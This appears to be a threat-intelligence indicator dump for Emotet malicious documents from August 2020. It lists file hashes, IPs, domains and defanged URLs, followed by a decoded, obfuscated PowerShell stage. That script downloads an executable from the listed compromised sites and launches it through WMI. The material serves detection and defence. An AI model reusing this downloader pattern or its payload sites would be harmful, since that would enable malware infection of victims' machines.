Emotet_Doc_out_2020-08-07_13_44.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:

252f3f3ac34fcd61a8a3a4a2f9e677f851b7f976e493678e6123118d760775d2
6f29145665e4e35e261fec14a975bc5bea2b8e21fc496768d5ed44c13da63386
a2499afdc0cde0e9b047005e936a3e4f21d4b125714510c4090ece2a02013976
9724069fa62d489d834d40d000192887d724dc04e6fcea68980db1ed3c24386f
a3a91e70768247198349200eede2196cba2be2ee9c63f0d6621d977e38c5a4c0
6d08506b9687ad00a8cf97b733c56a3fa811df4eb37f6836d5421fa4384659b0
cc93f31c0d302e29add795820ac93373ebe03ec88d8bd1480afa134d76b5a0a5
71ac350639a4342f9fc0165f63d1003590a8ab9997e381fb0a42dcaa88570441
07f3a07c29445f9c3670f0961168af96ace40b22ca5f719517dfa44ebeb4fc17
9aefb6f389c5867c81bd2ed1aabdb2c82eadbb256f417b396c0d50d1acc3c942
2e9f88a623643b90d15c5ba6a2f6682212315e86842f86883b304c88f60f8bda
2535e4642d10ed88abd730f62281711d860e6d84f102f587a48ccc91a9a6c049
1362eb5c759d65c30ec4701769d5559f5bc1950d618ff4d17939fc69f4fb104f
f0f5f013ab26d3b00b287eaa4f95787de6f79f1655fdaba066db4dff469588df
ceb04f1a654420e65799fffdb67da0fb040b60a786dbcc5a874b89a63e0c7670
cd116672c3567a884134f6c0cfd0c8b5d6723fa793b0aa813681c2c4fb86b224
5e89bc017e7a38d1eb536a9e13016e2e817af06107fa55bcdae82bfe5e20b2d9
5017a82891e5cf05db5f6d6d28deb3aafbe91bacd51963e970cf06143941ab6c
a7dfc7a90aff0ded33424138ee9d5069525c5f635e7fed5a860036ebf5a9401a
a6cf38618a58d0076e02ca5aa15020a6971e1367e0b8c00168775a31f8b92618
319dc39507571c0574f607084c5e20b48282a14aeb19b628a1471a8002abf886
4105a7b924615ef7a3d142ec138f6a7340a715250f3e957c73a5c377c572ee7f
1cc3fe55cd9952581cd54ff7b1a12d5a7a2aa90d760fda8b9a6b2ea8d010e1a7
90f8bbf6dee1ad7d38d610ea379dd8fd80444592cadac1f1497cad9b6d4e5caa
92b580f1a19c92e5f54c6a8e881f8b8694aab87b99e79990afba016e9a14dfe6
0290775b6060eb048b921a03be63c660a48927c472ecff032ca361abd8799299
63e53d1f861c52c615f03dc4e0dc20247b3a541e4bb972a617a54588374e64dc
d05ae9b3e032aae65ae8881e365fc232885ff9c3b82ee8ee30dd212795203dd5
ccc4d81c64186a882e88830fe137713a51403e6d89dc9fe169b84e6dd520bda1
1b35831b48e2ee75787762399f5dd5f79f6bc437bebf24319d85d740c8a693be
9cafac2bb84d846a986ff99637ccb4894f86f9c974f619917578d5033a139ba4
12cf7f0354a11a74100012078b6e2be1acdf8afe94c595d339fb0eabf973accf
89c2b4f2a4e0de4b53f0de3c13f7502230fc4447fe8d98da20542dd9822afc03
268ef174f74c0a8e24388447b7c310dbd6c12ff6866d6e8d16dbdd7a0221ef80
a052c169ce88f37b1660468a28e7db2ff77bc9ccdb67460e31007f782be5fe82
05b49d24c2dc263319238a138dc66dac72937c84bb7e8d9ce9d98966bb5763c6
4ce244fde1f44f5e0d31d4755d7cd63bfe6bf8c6a48cd1df630f01b04d851fa9


IPs:
149.255.62.9
162.210.51.53
173.214.176.60
204.197.245.142
23.229.148.137

Domains:

paletas.org
pauldupre.com
pufferfiz.net
rafikipress.com
whistledownfarm.com


hxxp://paletas.org/cgi-bin/besxXuq/
hxxp://pauldupre.com/conspiracy/PdetgL/
hxxp://pufferfiz.net/spikyfishgames.com/EoEdAlyI/
hxxp://rafikipress.com/wp-content/yL8PG960h2983/
hxxp://whistledownfarm.com/wp-admin/Qkqig0vqd685w76/


Decoded Base64 Powershell:
$VTLVJuql='SIQMWvpk';
[Net.ServicePointManager]::"se`cUrIT`Y`PrOTO`cOl" = 'tls12, tls11, tls';
$KEKTRnew = '995';
$EWBMKbww='PFNNMjes';
$KCAHTsgu=$env:userprofile+'\'+$KEKTRnew+'.exe';
$PSFQHiom='XHPDGnzs';
$AZWWIbvc=.('new'+'-ob'+'ject') nEt.weBCLient;
$MPUTEkha='hxxp://paletas.org/cgi-bin/besxXuq/
hxxp://pauldupre.com/conspiracy/PdetgL/
hxxp://pufferfiz.net/spikyfishgames.com/EoEdAlyI/
hxxp://rafikipress.com/wp-content/yL8PG960h2983/
hxxp://whistledownfarm.com/wp-admin/Qkqig0vqd685w76/'."SpL`it"([char]42);
$THBTMydw='EUEDScov';
foreach($IXBSIjam in $MPUTEkha){try{$AZWWIbvc."D`oWNL`O`AdFilE"($IXBSIjam, $KCAHTsgu);
$ZNOTXxkz='YLZZNufk';
If ((.('G'+'e'+'t-Item') $KCAHTsgu)."l`en`gtH" -ge 29053) {([wmiclass]'win32_Process')."creA`TE"($KCAHTsgu);
$VGHNKejr='UPMOKgae';
break;
$AJDJNjfl='FGJYHroa'}}catch{}}$RZEPNgwe='MWOSNpqj'